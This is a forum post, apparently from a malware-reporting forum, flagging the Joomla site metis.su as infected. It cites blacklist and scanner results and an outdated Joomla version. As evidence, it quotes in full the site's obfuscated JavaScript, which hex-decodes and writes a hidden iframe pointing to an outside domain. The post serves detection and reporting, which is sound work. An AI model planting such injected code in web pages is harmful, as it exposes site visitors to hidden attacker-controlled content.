Why is this website not flagged through AOS?

hxtp://(www).metis.su is in Dr.Web malicious sites list!
IP badness history: https://www.virustotal.com/nl/ip-address/90.156.201.88/information/
Malware alerted: https://urlquery.net/report.php?id=1446317069269
Sucuri flags: ISSUE DETECTED DEFINITION INFECTED URL
Website Malware mwjs-iframe-document-write3?v1 -http://metis.su
Website Malware mwjs-iframe-document-write3?v1 -http://metis.su/index.php?option=com_frontpage&Itemid=1
Website Malware mwjs-iframe-document-write3?v1 -http://metis.su/index.php?option=com_content&task=blogcategory&id=1&Itemid=30
Website Malware mwjs-iframe-document-write3?v1 -http://metis.su/index.php?option=com_content&task=blogsection&id=2&Itemid=31
Website Malware mwjs-iframe-document-write3?v1 -http://metis.su/index.php?option=com_search&Itemid=5
Website Malware mwjs-iframe-document-write3?v1-http://metis.su/index.php?option=com_weblinks&catid=13&Itemid=32
Known javascript malware. Details: http://labs.sucuri.net/db/malware/mwjs-iframe-document-write3?v1

function v48fa41152166b(v48fa411521671){ function v48fa411521678 () {return 16;} return(parseInt(v48fa411521671,v48fa411521678()));}function v48fa41152169a(v48fa41152169e){ var v48fa4115216a2='';for(v48fa4115216a6=0; v48fa4115216a6<v48fa41152169e.length; v48fa4115216a6+=2){ v48fa4115216a2+=(String.fromCharCode(v48fa41152166b(v48fa41152169e.substr(v48fa4115216a6, 2))));}return v48fa4115216a2;} document.write(v48fa41152169a('3C696672616D65206E616D653D276527207372633D27687474703A2F2F73706163652D6261722E696E666F272077696474683D323738206865696768743D3439207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</scriptWeb application version: Joomla Version 1.0.12 to 1.0.15 for: -http://metis.su/mambots/editors/tinymce/jscripts/tiny_mce/plugins/flash/editor_plugin.js Joomla version outdated: Upgrade required. Outdated Joomla Found: Joomla under 3.4.5 Domain blacklisted by Quttera's. See: http://www.domxssscanner.com/scan?url=http%3A%2F%2Fmetis.su%2Findex.php%3Foption%3Dcom_registration%26amp%3Btask%3Dregister%22 CDAC's Browser JSGuard Warning In the requested webpage at URL

metis.su

Threat has been found:

Threat:: Encoded JavaScript Malware

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